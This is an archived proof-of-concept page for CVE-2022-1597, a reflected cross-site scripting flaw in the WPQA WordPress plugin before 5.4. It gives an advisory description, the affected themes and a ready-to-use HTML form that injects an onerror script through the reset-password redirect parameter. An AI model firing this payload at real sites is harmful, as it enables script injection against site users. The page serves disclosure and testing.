CVE-2022-1597 PoC — WordPress plugin WPQA 跨站脚本漏洞

Source

https://github.com/V35HR4J/CVE-2022-1597

Associated Vulnerability

Title:WordPress plugin WPQA 跨站脚本漏洞 (CVE-2022-1597)
Description:WordPress和WordPress plugin都是WordPress基金会的产品。WordPress是一套使用PHP语言开发的博客平台。该平台支持在PHP和MySQL的服务器上架设个人博客网站。WordPress plugin是一个应用插件。 WordPress plugin WPQA 5.4之前版本存在跨站脚本漏洞，该漏洞源于插件不会清理和转义重置密码表单上的参数。攻击者利用该漏洞可以执行跨站脚本攻击。

Description

 The plugin, used as a companion for the Discy and Himer themes, does not sanitise and escape a parameter on its reset password form which makes it possible to perform Reflected Cross-Site Scripting attacks

Readme

# CVE-2022-1597
 The plugin, used as a companion for the Discy and Himer themes, does not sanitise and escape a parameter on its reset password form which makes it possible to perform Reflected Cross-Site Scripting attacks

## Affected Plugins:
[WPQA](https://codecanyon.net/item/wpqa-builder-forms-addon-for-wordpress/25298161) < 5.4

## Affected Themes:
[DISCY](https://2code.info/discy-social-questions-and-answers-wordpress-theme/)

[HIMER](https://2code.info/himer-social-questions-and-answers-wordpress-theme/)

## POC:

```
<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://localhost/wp-admin/admin-ajax.php" method="POST">
      <input type="hidden" name="user&#95;mail" value="validEmail@domain.com" />
      <input type="hidden" name="form&#95;type" value="wpqa&#95;forget" />
      <input type="hidden" name="action" value="wpqa&#95;ajax&#95;password&#95;process" />
      <input type="hidden" name="redirect&#95;to" value="&quot;&gt;&lt;img&#32;src&#61;x&#32;onerror&#61;alert&#40;document&#46;domain&#41;&gt;" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>
```
## Nuclei Template:
[CVE-2022-1597.yaml](CVE-2022-1597.yaml)

![NUCLEI](files/photo.png)

## VIDEO POC:
https://www.youtube.com/watch?v=E2GRtf6prq8

### References:
https://wpscan.com/vulnerability/faff9484-9fc7-4300-bdad-9cd8a30a9a4e

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-1597

File Snapshot


 [4.0K]  /data/pocs/66065d06940f84a6799bf164b569779192c27945
├── [1.8K]  CVE-2022-1597.yaml
├── [4.0K]  files
│   └── [1.4M]  photo.png
└── [1.4K]  README.md

1 directory, 3 files

Shenlong Bot has cached this for you

Remarks

1. It is advised to access via the original source first.

2. If the original source is unavailable, please email f.jinxu#gmail.com for a local snapshot (replace # with @).

3. Shenlong has snapshotted the POC code for you. To support long-term maintenance, please consider donating. Thank you for your support.

Goal Reached Thanks to every supporter — we hit 100%!